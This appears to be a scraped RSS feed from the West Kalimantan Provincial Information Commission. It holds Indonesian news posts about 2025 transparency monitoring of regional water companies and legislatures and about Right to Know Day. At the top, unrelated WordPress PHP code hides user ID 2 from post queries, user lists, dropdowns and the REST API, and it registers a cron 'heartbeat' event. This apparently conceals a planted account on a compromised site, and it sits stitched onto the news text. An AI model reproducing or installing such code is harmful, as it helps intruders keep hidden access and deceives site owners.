add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post BUMD Se-Kalbar Ikuti Presentasi Monev Keterbukaan Informasi Publik 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Pelaksanaan presentasi dibagi menjadi tiga sesi. Pada sesi pertama, tampil Perumda Air Minum Tirta Khatulistiwa Kota Pontianak. Sesi kedua diikuti oleh Perumda Air Minum Gunung Poteng Kota Singkawang dan Perumda Air Minum Muare Ulakan Kabupaten Sambas. Sedangkan pada sesi ketiga, hadir Perumda Air Minum Tirta Bengkayang Kabupaten Bengkayang, Perumda Air Minum Tirta Galaherang Kabupaten Mempawah, dan Perumda Air Minum Tirta Landak Kabupaten Landak.
Selain peserta dari BUMD, kegiatan ini juga dihadiri oleh unsur eksternal sebagai observer, yaitu Aries Munandar dari Majelis Anggota Jari Borneo Barat. Dalam pandangannya, Aries menegaskan bahwa keterbukaan informasi publik merupakan kewajiban konstitusi sebagaimana diamanatkan dalam Undang-Undang Nomor 14 Tahun 2008.
“Setiap badan publik, termasuk BUMD, wajib transparan karena melaksanakan pelayanan publik sekaligus menggunakan anggaran publik, sehingga perlu mempertanggungjawabkan pengelolaannya secara terbuka. Keterbukaan informasi tidak dapat dipisahkan dari upaya meningkatkan kualitas badan publik serta mewujudkan tata kelola yang baik,” ujar Aries.
Ia menambahkan, dari kegiatan presentasi Monev ini terlihat adanya capaian yang bervariasi, mulai dari yang sudah menunjukkan progres signifikan hingga yang masih dalam tahap penyesuaian. Namun, menurutnya hal terpenting adalah adanya semangat perbaikan berkelanjutan. “Proses Monev bukan untuk saling menjatuhkan, melainkan sebagai sarana evaluasi guna mendorong peningkatan kualitas pelayanan dan keterbukaan informasi publik di lingkungan BUMD,” tegasnya.
Sementara itu, Wakil Ketua Komisi Informasi Provinsi Kalimantan Barat, Marhasak Reinardo Sinaga, menyampaikan bahwa kegiatan ini merupakan bagian dari komitmen Komisi Informasi dalam memastikan prinsip transparansi dan akuntabilitas berjalan di setiap badan publik.
“Monev keterbukaan informasi ini bukan hanya sekadar kewajiban administrasi, tetapi juga instrumen penting untuk mengukur sejauh mana badan publik, khususnya BUMD, mampu membangun kepercayaan masyarakat. Kepercayaan itu lahir ketika publik merasa dilibatkan dan mendapatkan akses informasi yang jelas, cepat, dan benar,” ungkap Marhasak.
Ia menekankan bahwa Komisi Informasi akan terus mendorong kolaborasi, pendampingan, dan penguatan kapasitas BUMD agar mampu memenuhi standar keterbukaan informasi. “Harapan kami, hasil Monev ini dapat menjadi cermin dan motivasi bagi setiap BUMD untuk terus meningkatkan kualitas pelayanan sekaligus menjaga integritas pengelolaan anggaran publik,” tambahnya.
Kegiatan presentasi Monev ini akan berlanjut dengan tahapan penilaian. Hasil akhir akan diumumkan pada penganugerahan nanti sebagai bagian dari pemeringkatan keterbukaan informasi publik se-Kalimantan Barat.
The post BUMD Se-Kalbar Ikuti Presentasi Monev Keterbukaan Informasi Publik 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).
Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.
Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.
Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.
Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.
Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.
Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:
“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”
Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.
Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.
Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.
Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!
The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Hari Terakhir Presentasi Monev Keterbukaan Informasi Publik 2025 Tingkat Lembaga Legislatif se-Kalbar appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Hari terakhir Monev diikuti 9 DPRD yang terbagi dalam empat sesi, yaitu:
Sesi 1: DPRD Kabupaten Sintang, DPRD Kabupaten Kapuas Hulu
Sesi 2: DPRD Kabupaten Ketapang, DPRD Kabupaten Kayong Utara, DPRD Kabupaten Mempawah
Sesi 3: DPRD Kabupaten Sanggau, DPRD Kabupaten Sekadau
Sesi 4: DPRD Kabupaten Melawi, DPRD Provinsi Kalimantan Barat
Sejumlah pimpinan DPRD hadir langsung untuk memaparkan komitmen dan strategi mereka, di antaranya:
Kehadiran langsung para pimpinan lembaga legislatif ini menjadi indikator penting komitmen terhadap keterbukaan informasi publik.
Selain unsur legislatif, kegiatan juga dihadiri oleh pihak eksternal, antara lain:
Dalam kesempatan tersebut, Muhammad Hermayani Putera menyampaikan bahwa “Keterbukaan informasi publik tidak cukup hanya dengan kanal digital. DPRD harus mampu menghadirkan indikator kinerja yang terukur, laporan berbasis data, serta memperluas akses masyarakat pada substansi kebijakan. Dengan begitu, transparansi dapat benar-benar dirasakan oleh publik.”
Ketua Komisi Informasi Kalbar M. Darusalam menegaskan bahwa Monev ini bukan sekadar agenda penilaian tahunan, melainkan bagian dari upaya mendorong transformasi tata kelola legislatif yang transparan, akuntabel, dan partisipatif. “Kami ingin memastikan bahwa keterbukaan informasi publik di DPRD bukan hanya formalitas. Inovasi layanan, kehadiran pimpinan, serta strategi implementasi harus berorientasi pada kepentingan masyarakat. Inilah esensi dari keterbukaan informasi yang berkelanjutan,” ujarnya.
Mengusung tema “Keterbukaan Informasi Publik, Menuju Kalbar Maju, Sejahtera, dan Berkelanjutan”, kegiatan ini menegaskan bahwa transparansi informasi bukan hanya kewajiban regulatif, tetapi juga fondasi pembangunan daerah yang inklusif.
The post Hari Terakhir Presentasi Monev Keterbukaan Informasi Publik 2025 Tingkat Lembaga Legislatif se-Kalbar appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>